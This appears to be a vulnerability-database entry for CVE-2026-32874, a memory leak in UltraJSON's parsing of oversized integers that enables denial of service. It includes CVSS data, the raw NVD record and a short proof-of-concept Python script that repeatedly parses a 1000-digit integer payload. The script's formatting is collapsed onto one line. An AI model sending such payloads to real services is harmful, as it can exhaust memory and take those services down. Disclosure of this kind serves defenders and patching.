Security Vulnerability Report
中文
CVE-2026-32874 CVSS 7.5 HIGH

CVE-2026-32874

Published: 2026-03-20 02:16:36
Last Modified: 2026-03-23 15:27:14

Description

UltraJSON is a fast JSON encoder and decoder written in pure C with bindings for Python 3.7+. Versions 5.4.0 through 5.11.0 contain an accumulating memory leak in JSON parsing large (outside of the range [-2^63, 2^64 - 1]) integers. The leaked memory is a copy of the string form of the integer plus an additional NULL byte. The leak occurs irrespective of whether the integer parses successfully or is rejected due to having more than sys.get_int_max_str_digits() digits, meaning that any sized leak per malicious JSON can be achieved provided that there is no limit on the overall size of the payload. Any service that calls ujson.load()/ujson.loads()/ujson.decode() on untrusted inputs is affected and vulnerable to denial of service attacks. This issue has been fixed in version 5.12.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ultrajson_project:ultrajson:*:*:*:*:*:python:*:* - VULNERABLE
UltraJSON 5.4.0
UltraJSON 5.11.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import ujson import time # Generate a malicious payload with a large integer outside the range [-2^63, 2^64-1] # This triggers the memory leak. malicious_json = '{"large_int": ' + '9' * 1000 + '}' print("Starting memory leak test...") for i in range(1000): try: ujson.loads(malicious_json) except ValueError: # Even if parsing fails due to digit limits, memory is leaked pass if i % 100 == 0: print(f"Iteration {i}: processed payload") print("Test completed. Check memory usage.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32874", "sourceIdentifier": "[email protected]", "published": "2026-03-20T02:16:35.703", "lastModified": "2026-03-23T15:27:14.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "UltraJSON is a fast JSON encoder and decoder written in pure C with bindings for Python 3.7+. Versions 5.4.0 through 5.11.0 contain an accumulating memory leak in JSON parsing large (outside of the range [-2^63, 2^64 - 1]) integers. The leaked memory is a copy of the string form of the integer plus an additional NULL byte. The leak occurs irrespective of whether the integer parses successfully or is rejected due to having more than sys.get_int_max_str_digits() digits, meaning that any sized leak per malicious JSON can be achieved provided that there is no limit on the overall size of the payload. Any service that calls ujson.load()/ujson.loads()/ujson.decode() on untrusted inputs is affected and vulnerable to denial of service attacks. This issue has been fixed in version 5.12.0."}, {"lang": "es", "value": "UltraJSON es un codificador y decodificador JSON rápido escrito en C puro con enlaces para Python 3.7+. Las versiones 5.4.0 a 5.11.0 contienen una fuga de memoria acumulativa al analizar JSON enteros grandes (fuera del rango [-2^63, 2^64 - 1]). La memoria filtrada es una copia de la forma de cadena del entero más un byte NULL adicional. La fuga ocurre independientemente de si el entero se analiza con éxito o es rechazado por tener más dígitos que sys.get_int_max_str_digits(), lo que significa que se puede lograr una fuga de cualquier tamaño por JSON malicioso siempre que no haya un límite en el tamaño total de la carga útil. Cualquier servicio que llame a ujson.load()/ujson.loads()/ujson.decode() en entradas no confiables se ve afectado y es vulnerable a ataques de denegación de servicio. Este problema ha sido solucionado en la versión 5.12.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ultrajson_project:ultrajson:*:*:*:*:*:python:*:*", "versionStartIncluding": "5.4.0", "versionEndExcluding": "5.12.0", "matchCriteriaId": "75B74FD4-75EC-4754-83BA-217BAE9E6076"}]}]}], "references": [{"url": "https://github.com/ultrajson/ultrajson/commit/4baeb950df780092bd3c89fc702a868e99a3a1d2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ultrajson/ultrajson/releases/tag/5.12.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/ultrajson/ultrajson/security/advisories/GHSA-wgvc-ghv9-3pmm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}